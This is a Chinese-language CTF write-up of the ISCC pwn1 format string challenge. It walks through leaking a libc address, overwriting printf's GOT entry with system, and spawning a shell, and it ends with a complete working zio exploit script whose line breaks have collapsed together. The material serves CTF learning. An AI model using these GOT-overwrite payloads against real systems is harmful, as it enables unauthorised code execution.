ISCC之pwn1格式化字符串漏洞详解!

来源:互联网 发布:健身房健身计划软件 编辑:程序博客网 时间:2024/06/11 11:05


作为小白的我,自从入了ctf的坑就再也没爬起来过,从无到有实在是很辛苦。仅以此片纪念我的青春。奋斗

 

直接进入正题。这是个很明显的32位的格式化字符串漏洞。



上手就先leak出libc地址,求偏移得到system地址,(我也忘了有没有给lib库,反正我是在本地调试,拿自己的lib库。Ps:在本地可以通过./libc.so.6或者ldd --version 查看libc的版本号,作为新手还是上两张图吧。)


可以看到我的是2.19,注意下路径



至于什么是格式化字符串漏洞,大家可以参考这篇文章http://www.sohu.com/a/130725162_472906很值得学习。

另外观察代码可以发现,没有return,也就没办法控制返回地址。对于格式化漏洞来说,难点在于怎么写,往哪写?读地址很容易,写地址会难一点。可能需要考虑缓冲区的问题,分几次写,每次写多少字节,这都需要自己去总结经验。一般来说建议先写一个字节在写两个字节(这是32位的题目哦,对于64位的题情况会略有不同,话说我还没做过64位的格式化字符串呢,不过大差不差啦。)。多试错。

还是上图吧!

这是调试的代码。我先往bss中写,便于观察!!

注意小端对齐(逆过来看)!通常来说l动态链接的地址都是以b7打头,因此我们只需要覆盖后三个字节即可。接下来复写got表地址


可以看到已经成功覆盖了printf的got表,这也就意味着,当我们再调用printf这个函数时程序会执行system函数,这个程序的进程流也就被我们给劫持了。

那么问题来了。怎么才能在执行system(“/bin/sh”)[这是打开一个终端的意思,get shell]

刚开始我也没啥思路,管它呢,先试试再说!!!

咦!跟原来想象的有点不一样啊!

本来不想贴过程的。不过写这篇文章的目的是为了给小白看的。于是贴上过程。

从这里可以看出来下一个system的参数是”plzi nput$”.这是不可避免的,那么接下来会发生什么呢!?会不会直接退出呢!?

当调用printf时警告,意思就是要跳到一个非法的地址(因为被我们给劫持了)。OK!

来到这。一直F8………直到天荒地老。。。。。。

咦!什么都没有发生?正常返回了。来看看输出。

哦。原来system(“plzi nput$”)什么也不会发生,只是没有打印出来而已。那么我就放心了。只要程序在这里不宕,那么下一次调用的时候我就可以控制它的参数。

在这看到了吗,这个format我们可以控制,接下来就很明显了!执行system时栈上的地址


黑暗渐渐逝去,即将迎来光明!

好。我们已经成功攻破了自己的电脑。比赛的时候要注意,libc的不同会导致偏移不同,得看具体的环境了。

已经写得很详细了,虽然简单但对于,没有接触过的新手来说,也还是有难度的。主要难度还是在写地址那一块吧!很难讲,自己多尝试,可以试着每次写一个字节,或者一次写三个字节,或者先写两个字节再写一个字节,总之在尝试的过程中会遇到很多的问题。我就不一一列举了!

最后感谢司!我万能的..heihei鄙视

最后的最后贴上完整payload。


 

from zio import *import timeimport structtarget=('127.0.0.1',10000)#target=('115.28.185.220',1111)io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))c2=raw_input('go1?')io.read_until('plz input$')io.writeline('1')io.read_until('please input your name:')payload='%7$s'+l32(0x0804a010)#printf_gotio.writeline(payload)test=io.read_until('\xb7')printf_libc=struct.unpack('<I',test[-4:])[0]print hex(printf_libc)system_libc=printf_libc-0xD100bin_=printf_libc+0x11343Cprint hex(system_libc)print hex(bin_)io.read_until('plz input$')io.writeline('1')io.read_until('please input your name:')payload=l32(0x0804a010)+l32(0x0804a010+0x1)len1=(system_libc & 0x000000ff) -0x8len2=((system_libc % 0x1000000) >> 8) - len1 - 0x8payload+='%'+str(len1) + 'x%6$hhn'payload+='%'+str(len2) + 'x%7$hn'io.writeline(payload)io.read_until('2.heiheihei')io.writeline('1')io.read_until('please input your name:')io.writeline('/bin/sh\x00')io.interact()